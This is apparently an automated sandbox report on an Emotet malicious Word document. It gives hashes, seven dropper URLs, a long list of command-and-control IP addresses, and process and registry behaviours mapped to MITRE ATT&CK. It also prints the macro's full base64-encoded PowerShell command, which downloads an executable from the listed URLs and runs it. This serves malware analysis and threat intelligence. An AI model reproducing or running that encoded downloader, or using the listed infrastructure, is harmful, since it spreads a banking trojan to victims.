emotet | be05ff271ea7042c2e01c9daa7f63ee9dd190864d23716b22f83561e1cb4ae3b

General

Target
emotet_e3_be05ff271ea7042c2e01c9daa7f63ee9dd190864d23716b22f83561e1cb4ae3b_2020-08-27__190047._doc.doc
Size 218KB
Sample200827-wxt2xnalan
SHA256 be05ff271ea7042c2e01c9daa7f63ee9dd190864d23716b22f83561e1cb4ae3b
MD5 9363541f54217f26896e4e91ca658b34
SHA1 1ef6e5c18efc7ce1253b7a20471650f48ead36a0
SHA512 0abc11d1f027fb3a011f4fba774c9b190798200fb846daf4615d04beba54a31d6de3f26bcbbb5b584e7db2a6197a68ed3c8df0ae505008093c05a6fd979f350a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://solution.seeedstudio.com/tag/FNLFibbOyHa/
exe.dropper
https://dangkyinternetviettel.shop/wp-admin/anSiIxw/
exe.dropper
https://firstresponsecpr.com/alfacgiapi/hNBmlles94w163/
exe.dropper
http://literadiocebu.com/vhvjt/aycx52bqm330139/
exe.dropper
http://latestmoviesbox.com/wp-includes/uwap2390/
exe.dropper
http://arya-co.com/wp-includes/lIaWADd/
exe.dropper
http://pizzaherbs.com.pk/pjqbq/XnPgtdPPN/

Extracted

Family

emotet

C2

24.26.151.3:80
162.144.42.60:8080
134.209.193.138:443
68.183.233.80:8080
105.209.235.113:8080
198.57.203.63:8080
175.29.183.2:80
178.87.171.199:80
177.32.8.85:80
71.57.180.213:80
190.190.15.20:80
31.146.61.34:80
157.7.164.178:8081
82.239.200.118:80
220.254.198.228:443
41.185.29.128:8080
113.161.148.81:80
51.38.201.19:7080
179.5.118.12:80
66.61.94.36:80
87.106.231.60:8080
188.0.135.237:80
189.39.32.161:80
173.94.215.84:80
81.17.93.134:80
185.86.148.68:443
190.96.15.50:80
177.144.130.105:443
168.0.97.6:80
60.125.114.64:443
50.116.78.109:8080
190.53.144.120:80
37.205.9.252:7080
115.79.195.246:80
201.235.10.215:80
75.127.14.170:8080
181.126.54.234:80
172.96.190.154:8080
192.241.220.183:8080
190.164.75.175:80
81.214.253.80:443
139.99.157.213:8080
91.75.75.46:80
46.32.229.152:8080
37.187.100.220:7080
107.161.30.122:8080
157.245.138.101:7080
5.79.70.250:8080
185.142.236.163:443
118.101.24.148:80
103.80.51.61:8080
74.208.173.91:8080
178.33.167.120:8080
185.208.226.142:8080
143.95.101.72:8080
195.201.56.70:8080
46.105.131.68:8080
192.210.217.94:8080
37.46.129.215:8080
190.212.140.6:80
91.83.93.103:443
45.182.161.17:80
95.216.205.155:8080
202.5.47.71:80
88.249.181.198:443
197.232.36.108:80
1.54.67.22:80
86.98.143.163:80
77.74.78.80:443
172.105.78.244:8080
181.137.229.1:80
179.62.238.49:80
192.163.221.191:8080
177.94.227.143:80
203.153.216.178:7080
139.59.12.63:8080
115.78.11.155:80
2.144.244.204:443
197.221.158.162:80
162.249.220.190:80
85.25.207.108:8080
201.213.177.139:80
54.38.143.245:8080
181.113.229.139:443
188.251.213.180:443
190.55.186.229:80
113.203.250.121:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	196	1676	powersheLL.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
27	196	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1508	Srbah3eyt.exe
3848	kbdnecnt.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\NAPCRYPT\kbdnecnt.exe	Srbah3eyt.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = bae3fcd2b57cd601	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
196	powersheLL.exe
196	powersheLL.exe
196	powersheLL.exe
3848	kbdnecnt.exe
3848	kbdnecnt.exe
3848	kbdnecnt.exe
3848	kbdnecnt.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	628	svchost.exe
Token: SeCreatePagefilePrivilege	628	svchost.exe
Token: SeDebugPrivilege	196	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
1508	Srbah3eyt.exe
1508	Srbah3eyt.exe
3848	kbdnecnt.exe
3848	kbdnecnt.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 196 wrote to memory of 1508	196	powersheLL.exe	80
PID 196 wrote to memory of 1508	196	powersheLL.exe	80
PID 196 wrote to memory of 1508	196	powersheLL.exe	80
PID 1508 wrote to memory of 3848	1508	Srbah3eyt.exe	81
PID 1508 wrote to memory of 3848	1508	Srbah3eyt.exe	81
PID 1508 wrote to memory of 3848	1508	Srbah3eyt.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_be05ff271ea7042c2e01c9daa7f63ee9dd190864d23716b22f83561e1cb4ae3b_2020-08-27__190047._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:628

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABQAGQAdgAyAG4AOQBoAD0AKAAoACcARQB4AHoAMgAnACsAJwA5AGkAJwApACsAJwA1ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAdABlAG0AcABcAFcATwBSAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAGUAYwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBgAFUAcgBJAHQAWQBwAFIAYABvAFQAYABPAGAAYwBPAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACsAKAAnACwAIAB0AGwAcwAnACsAJwAxACcAKwAnADEALAAnACkAKwAoACcAIAB0AGwAJwArACcAcwAnACkAKQA7ACQAQgBqAGIAOAA5AHYAeQAgAD0AIAAoACcAUwAnACsAKAAnAHIAYgAnACsAJwBhAGgAMwBlACcAKwAnAHkAdAAnACkAKQA7ACQARgBlAG0AMABzAHAAbgA9ACgAJwBTACcAKwAnAG0AJwArACgAJwAxAF8AJwArACcAOABmAHYAJwApACkAOwAkAEIAMwAyAGoAMQBvAGcAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9ACcAKwAoACcAdwAnACsAJwBvAHIAJwApACsAJwBkACcAKwAnAHsAMAB9ADIAMAAxADkAewAnACsAJwAwAH0AJwApAC0AZgAgAFsAYwBIAEEAUgBdADkAMgApACsAJABCAGoAYgA4ADkAdgB5ACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAQgBkAHoAcQA4ADUAcQA9ACgAKAAnAEUAcgAnACsAJwB0ACcAKQArACcAeQAxACcAKwAnADUAXwAnACkAOwAkAEQAcQAyAGUANAAwAGEAPQAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAEIAYwBMAEkARQBuAFQAOwAkAEIAegByAGoAbwBuADYAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBzACcAKQArACgAJwBvAGwAJwArACcAdQAnACkAKwAoACcAdABpACcAKwAnAG8AbgAuACcAKQArACcAcwAnACsAKAAnAGUAZQBlACcAKwAnAGQAcwB0AHUAJwArACcAZAAnACsAJwBpAG8ALgBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB0AGEAJwArACcAZwAvAEYATgAnACsAJwBMAEYAaQBiAGIATwAnACkAKwAoACcAeQBIAGEALwAqAGgAJwArACcAdAAnACkAKwAoACcAdAAnACsAJwBwAHMAOgAvAC8AZABhAG4AZwBrACcAKwAnAHkAJwArACcAaQBuACcAKwAnAHQAJwApACsAKAAnAGUAJwArACcAcgBuAGUAJwApACsAJwB0ACcAKwAnAHYAaQAnACsAJwBlAHQAJwArACcAdAAnACsAKAAnAGUAJwArACcAbAAuAHMAaAAnACkAKwAoACcAbwBwAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGEAZAAnACsAJwBtACcAKwAnAGkAbgAvAGEAJwArACcAbgBTAGkAJwApACsAJwBJACcAKwAnAHgAJwArACgAJwB3ACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzADoALwAvACcAKQArACcAZgAnACsAJwBpAHIAJwArACgAJwBzAHQAJwArACcAcgBlACcAKQArACgAJwBzACcAKwAnAHAAbwBuAHMAJwApACsAKAAnAGUAJwArACcAYwBwAHIALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALwBhAGwAJwArACcAZgBhACcAKwAnAGMAZwBpAGEAcAAnACkAKwAoACcAaQAnACsAJwAvAGgATgBCAG0AJwApACsAJwBsAGwAJwArACcAZQBzACcAKwAoACcAOQAnACsAJwA0AHcAMQA2ADMALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGwAJwApACsAJwBpAHQAJwArACgAJwBlAHIAYQAnACsAJwBkAGkAbwAnACsAJwBjAGUAYgB1ACcAKQArACcALgAnACsAJwBjAG8AJwArACgAJwBtAC8AJwArACcAdgAnACkAKwAnAGgAJwArACgAJwB2ACcAKwAnAGoAdAAnACkAKwAnAC8AYQAnACsAJwB5ACcAKwAoACcAYwAnACsAJwB4ADUAJwApACsAKAAnADIAYgBxAG0AMwAnACsAJwAzADAAMQAzACcAKQArACcAOQAnACsAKAAnAC8AKgBoACcAKwAnAHQAJwArACcAdABwADoALwAnACkAKwAoACcALwAnACsAJwBsAGEAJwArACcAdABlAHMAdABtAG8AdgBpAGUAcwAnACsAJwBiACcAKwAnAG8AeAAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAHcAcAAtAGkAJwArACcAbgAnACsAJwBjAGwAdQBkACcAKQArACgAJwBlAHMALwAnACsAJwB1AHcAJwApACsAJwBhAHAAJwArACcAMgAnACsAJwAzACcAKwAoACcAOQAnACsAJwAwAC8AJwApACsAKAAnACoAJwArACcAaAB0AHQAJwApACsAJwBwACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AYQByAHkAJwArACcAYQAtACcAKQArACcAYwBvACcAKwAoACcALgAnACsAJwBjAG8AJwApACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAB1AGQAJwArACcAZQAnACkAKwAoACcAcwAvAGwASQBhAFcAJwArACcAQQAnACsAJwBEAGQALwAqAGgAdAAnACsAJwB0AHAAJwArACcAOgAvAC8AJwApACsAKAAnAHAAaQB6AHoAYQAnACsAJwBoACcAKQArACgAJwBlAHIAYgAnACsAJwBzACcAKQArACcALgAnACsAKAAnAGMAJwArACcAbwBtAC4AcABrACcAKQArACcALwAnACsAJwBwAGoAJwArACgAJwBxACcAKwAnAGIAcQAnACkAKwAoACcALwAnACsAJwBYAG4AJwApACsAKAAnAFAAZwB0ACcAKwAnAGQAJwArACcAUABQAE4ALwAnACkAKQAuACIAUwBgAHAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABGADIAMQBjADAAaQBlAD0AKAAoACcASgBsACcAKwAnAHMAcgBkACcAKQArACcAMQAnACsAJwB1ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEEAYQB1AGwAcQBsADIAIABpAG4AIAAkAEIAegByAGoAbwBuADYAKQB7AHQAcgB5AHsAJABEAHEAMgBlADQAMABhAC4AIgBkAE8AVwBOAEwATwBgAEEAZABgAEYAaQBgAEwARQAiACgAJABBAGEAdQBsAHEAbAAyACwAIAAkAEIAMwAyAGoAMQBvAGcAKQA7ACQATAAzADEAYQBfAGQAMQA9ACgAJwBSACcAKwAoACcAZQAnACsAJwAzAGIAOAAnACkAKwAnADEAOAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAQgAzADIAagAxAG8AZwApAC4AIgBMAEUAYABOAGcAVABIACIAIAAtAGcAZQAgADMANwA5ADEANQApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABCADMAMgBqADEAbwBnACkAOwAkAFUAMwBmAHAAcwByADUAPQAoACgAJwBMAGMAdwBsACcAKwAnADAAZQAnACkAKwAnAHIAJwApADsAYgByAGUAYQBrADsAJABRAGkAMABkADAAOQBlAD0AKAAnAEoAbwAnACsAKAAnADUAcgBjACcAKwAnAG8AeQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUABlAGsAMABvAHIAOAA9ACgAKAAnAFgAYgAnACsAJwB1AGEAJwApACsAKAAnAGUAYgAnACsAJwAyACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:196
- C:\Users\Admin\AppData\Local\Temp\word\2019\Srbah3eyt.exe
  "C:\Users\Admin\AppData\Local\Temp\word\2019\Srbah3eyt.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1508
- - C:\Windows\SysWOW64\NAPCRYPT\kbdnecnt.exe
    "C:\Windows\SysWOW64\NAPCRYPT\kbdnecnt.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3848

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/196-7-0x00007FF8B7D70000-0x00007FF8B875C000-memory.dmp

Download

memory/196-8-0x00000246477C0000-0x00000246477C1000-memory.dmp

Download

memory/196-9-0x0000024647970000-0x0000024647971000-memory.dmp

Download

memory/1508-13-0x0000000000760000-0x000000000076C000-memory.dmp

Download

memory/3848-16-0x0000000000610000-0x000000000061C000-memory.dmp

Download

memory/3888-0-0x00007FF8BF540000-0x00007FF8BFC06000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads